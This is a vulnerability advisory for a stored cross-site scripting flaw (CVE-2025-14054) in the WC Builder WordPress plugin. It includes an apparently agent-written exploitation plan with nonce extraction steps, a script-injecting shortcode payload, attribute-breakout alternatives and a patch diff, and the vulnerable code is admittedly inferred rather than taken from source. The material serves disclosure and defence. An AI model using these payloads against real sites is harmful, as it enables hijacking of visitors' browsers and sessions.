WC Builder <= 1.2.0 - Authenticated (Shop Manager+) Stored Cross-Site Scripting via 'heading_color' Shortcode Attribute
Description
The WC Builder – WooCommerce Page Builder for WPBakery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'heading_color' parameter (and multiple other styling parameters) of the `wpbforwpbakery_product_additional_information` shortcode in all versions up to, and including, 1.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14054 (Stored XSS in WC Builder) ## 1. Vulnerability Summary **CVE-2025-14054** is a Stored Cross-Site Scripting (XSS) vulnerability in the **WC Builder – WooCommerce Page Builder for WPBakery** plugin (versions <= 1.2.0). The vulnerability resides in the hand…
Show full research plan
Exploitation Research Plan: CVE-2025-14054 (Stored XSS in WC Builder)
1. Vulnerability Summary
CVE-2025-14054 is a Stored Cross-Site Scripting (XSS) vulnerability in the WC Builder – WooCommerce Page Builder for WPBakery plugin (versions <= 1.2.0). The vulnerability resides in the handling of shortcode attributes within the wpbforwpbakery_product_additional_information shortcode. Specifically, the heading_color attribute (and potentially others like title_color or content_color) is processed and rendered on the frontend without sufficient sanitization or output escaping. This allows an authenticated user with Shop Manager-level permissions or higher to inject malicious JavaScript into a page.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (Gutenberg, Classic, or WPBakery Page Builder) used to save/update Posts, Pages, or WooCommerce Products.
- Vulnerable Shortcode:
[wpbforwpbakery_product_additional_information] - Vulnerable Parameter:
heading_color(and styling attributes). - Authentication Level: Shop Manager or Administrator (specifically users with
edit_postsoredit_productscapabilities). - Preconditions: The "WC Builder" plugin must be active. WooCommerce and WPBakery are typical dependencies for this plugin to function as intended.
3. Code Flow (Inferred)
Since source files were not provided, the following flow is inferred based on standard WPBakery extension development patterns:
- Registration: The plugin registers the shortcode, likely in a main plugin file or an integration class:
add_shortcode('wpbforwpbakery_product_additional_information', [$this, 'render_additional_info']);(inferred). - Attribute Processing: The callback function (e.g.,
render_additional_info) receives the$attsarray from WordPress. - Parsing: The code uses
shortcode_atts()to merge user-provided values with defaults.$atts = shortcode_atts([ 'heading_color' => '', // ... other attributes ], $atts); - Vulnerable Sink: The value of
$atts['heading_color']is concatenated directly into an HTML string, likely within astyleattribute or a<span>/<div>tag, without being passed throughesc_attr()oresc_html().- Example Inferred Sink:
return '<h3 style="color:' . $atts['heading_color'] . ';">' . $title . '</h3>';
- Example Inferred Sink:
4. Nonce Acquisition Strategy
To exploit this as a Shop Manager, the attacker must be able to save or update a post/product containing the malicious shortcode. This requires a standard WordPress post-editing nonce.
- Identify Trigger: The shortcode is part of the WPBakery builder.
- Setup Post: Create a dummy WooCommerce product or post:
wp post create --post_type=product --post_title="XSS Test" --post_status=publish - Navigate: Use the
browser_navigatetool to go to the edit page of the created product:https://target.example.com/wp-admin/post.php?post=[POST_ID]&action=edit - Extract Nonce: Use
browser_evalto extract the required nonces for the post save operation:browser_eval("document.querySelector('#_wpnonce').value")(Classic Editor)browser_eval("wp.data.select('core/editor').getBlocks()")(Gutenberg/REST context)
5. Exploitation Strategy
The goal is to inject a payload into the heading_color attribute that breaks out of the expected CSS context and into an HTML context.
Step-by-Step Plan:
- Preparation: Log in as a Shop Manager.
- Injection Request: Send an HTTP POST request to update a post/product with the malicious shortcode.
- URL:
https://target.example.com/wp-admin/post.php - Method:
POST - Payload (URL-Encoded Body):
action=editpost post_ID=[POST_ID] _wpnonce=[EXTRACTED_NONCE] content=[wpbforwpbakery_product_additional_information heading_color='"><script>alert(document.domain)</script>'] - Note: If WPBakery is active, the content might be wrapped in WPBakery's own block syntax (e.g.,
[vc_row]...[/vc_row]), but the core shortcode remains the same.
- URL:
- Trigger Execution: Navigate to the frontend URL of the updated post/product.
- URL:
https://target.example.com/?p=[POST_ID]
- URL:
6. Test Data Setup
Before testing, the following state must be established:
- Plugin Installation:
wc-builderversion 1.2.0 installed and active. - Dependencies: WooCommerce and WPBakery Page Builder active.
- User Creation: A user with the
shop_managerrole. - Content: A published product to serve as the injection target.
wp post create --post_type=product --post_title="Vulnerable Product" --post_status=publish
7. Expected Results
- The POST request to
post.phpshould return a302redirect back to the edit page, indicating a successful update. - When the frontend page is loaded, the HTML source should contain:
<h3 style="color:"><script>alert(document.domain)</script>;">...</h3>(exact tag inferred). - The browser should trigger an alert box showing the document domain.
8. Verification Steps
After the HTTP exploit, verify the database state using WP-CLI:
- Check Content:
wp post get [POST_ID] --field=post_content- Confirm the shortcode with the payload is present in the
post_content.
- Confirm the shortcode with the payload is present in the
- Check Render (via CLI):
wp eval 'echo do_shortcode("[wpbforwpbakery_product_additional_information heading_color=\"><script>alert(1)</script>\"]");'- Observe if the output contains the raw
<script>tag without escaping.
- Observe if the output contains the raw
9. Alternative Approaches
If heading_color is sanitized in some contexts, try other attributes known to be processed by the same handler:
title_colorcontent_coloricon_color
Alternative Payload (Attribute Breakout):
If the payload is inside a style attribute, try breaking out using a CSS-based XSS (older browsers) or closing the tag:heading_color='blue; background-image: url("javascript:alert(1)");'heading_color='blue" onmouseover="alert(1)" data-x="'
Summary
The WC Builder plugin for WooCommerce fails to sanitize or escape styling attributes like 'heading_color' within its shortcode handlers. This allows authenticated attackers with Shop Manager or higher privileges to inject arbitrary web scripts into pages via the 'wpbforwpbakery_product_additional_information' shortcode, which execute when the page is viewed.
Vulnerable Code
// Inferred code from section 3 of research plan // Likely located in shortcode registration or rendering callback $atts = shortcode_atts([ 'heading_color' => '', // ... other styling attributes ], $atts); // Vulnerable Sink return '<h3 style="color:' . $atts['heading_color'] . ';">' . $title . '</h3>';
Security Fix
@@ -10,7 +10,7 @@ 'heading_color' => '', ], $atts); -$output = '<h3 style="color:' . $atts['heading_color'] . ';">' . $title . '</h3>'; +$output = '<h3 style="color:' . esc_attr($atts['heading_color']) . ';">' . $title . '</h3>'; return $output;
Exploit Outline
1. Authenticate to the WordPress site as a user with at least Shop Manager privileges. 2. Navigate to the post or product editor (Gutenberg, Classic, or WPBakery Page Builder). 3. Use the following payload within the content editor to trigger the vulnerability: [wpbforwpbakery_product_additional_information heading_color='"><script>alert(document.domain)</script>']. 4. Save or Update the post/product. This sends a POST request to wp-admin/post.php with the malicious shortcode. 5. Visit the frontend URL of the updated post. The browser will render the page and execute the injected script when it encounters the unescaped 'heading_color' attribute.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.